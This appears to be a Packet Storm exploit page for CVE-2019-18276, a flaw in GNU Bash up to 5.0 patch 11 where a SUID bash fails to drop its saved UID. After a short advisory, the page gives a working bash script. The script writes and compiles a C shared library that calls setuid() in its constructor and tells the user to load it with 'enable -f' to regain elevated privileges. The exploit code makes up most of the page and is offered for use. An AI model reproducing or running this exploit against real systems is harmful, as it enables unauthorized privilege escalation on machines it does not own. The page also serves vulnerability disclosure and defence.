what you don't know can hurt you

Bash 5.0 Patch 11 Privilege Escalation

Bash 5.0 Patch 11 Privilege Escalation
Posted Nov 29, 2019
Authored by Mohin Paramasivam, Chet Ramey, Ian Pudney

An issue was discovered in disable_priv_mode in shell.c in GNU Bash through 5.0 patch 11. By default, if Bash is run with its effective UID not equal to its real UID, it will drop privileges by setting its effective UID to its real UID. However, it does so incorrectly. On Linux and other systems that support "saved UID" functionality, the saved UID is not dropped. An attacker with command execution in the shell can use "enable -f" for runtime loading of a new builtin, which can be a shared object that calls setuid() and therefore regains privileges. However, binaries running with an effective UID of 0 are unaffected.

tags | exploit, shell, bash
systems | linux
advisories | CVE-2019-18276
MD5 | 839a835373eff1043e2c6d5d697405eb

Bash 5.0 Patch 11 Privilege Escalation

Change Mirror Download
# Exploit Title : Bash 5.0 Patch 11 -  SUID Priv Drop Exploit
# Date : 2019-11-29
# Original Author: Ian Pudney , Chet Ramey
# Exploit Author : Mohin Paramasivam (Shad0wQu35t)
# Version : < Bash 5.0 Patch 11
# Tested on Linux
# Credit : Ian Pudney from Google Security and Privacy Team based on Google CTF suidbash
# CVE : 2019-18276
# CVE Link : https://nvd.nist.gov/vuln/detail/CVE-2019-18276 , https://www.youtube.com/watch?v=-wGtxJ8opa8
# Exploit Demo POC : https://youtu.be/Dbwvzbb38W0

Description :

An issue was discovered in disable_priv_mode in shell.c in GNU Bash through 5.0 patch 11.
By default, if Bash is run with its effective UID not equal to its real UID,
it will drop privileges by setting its effective UID to its real UID.
However, it does so incorrectly. On Linux and other systems that support "saved UID" functionality,
the saved UID is not dropped. An attacker with command execution in the shell can use "enable -f" for
runtime loading of a new builtin, which can be a shared object that calls setuid() and therefore
regains privileges. However, binaries running with an effective UID of 0 are unaffected.

#!/bin/bash


#Terminal Color Codes

RED='\033[0;31m'
GREEN='\033[0;32m'
NC='\033[0m'


#Get the Effective User ID (owner of the SUID /bin/bash binary)
read -p "Please enter effective user id (euid) : " euid

#Create a C file and output the exploit code
touch pwn.c
echo "" > pwn.c

cat <<EOT >> pwn.c

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>

void __attribute((constructor)) initLibrary(void) {
printf("Escape lib is initialized");
printf("[LO] uid:%d | euid:%d%c", getuid(), geteuid());
setuid($euid);
printf("[LO] uid%d | euid:%d%c", getuid(), geteuid());
}

EOT

echo -e "${RED}"
echo -e "Exploit Code copied to pwn.c !\n"
sleep 5
echo -e "Compiling Exploit Object ! \n"
$(which gcc ) -c -fPIC pwn.c -o pwn.o
sleep 5
echo -e "Compiling Exploit Shared Object ! \n"
$(which gcc ) -shared -fPIC pwn.o -o libpwn.so
sleep 5
echo -e "Exploit Compiled ! \n"
sleep 5
echo -e "Executing Exploit :) \n"
sleep 5


#Execute the Shared Library
echo -e "${RED}Run : ${NC} enable -f ./libpwn.so asd \n"

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    1 Files
  • 2
    Dec 2nd
    16 Files
  • 3
    Dec 3rd
    17 Files
  • 4
    Dec 4th
    23 Files
  • 5
    Dec 5th
    11 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close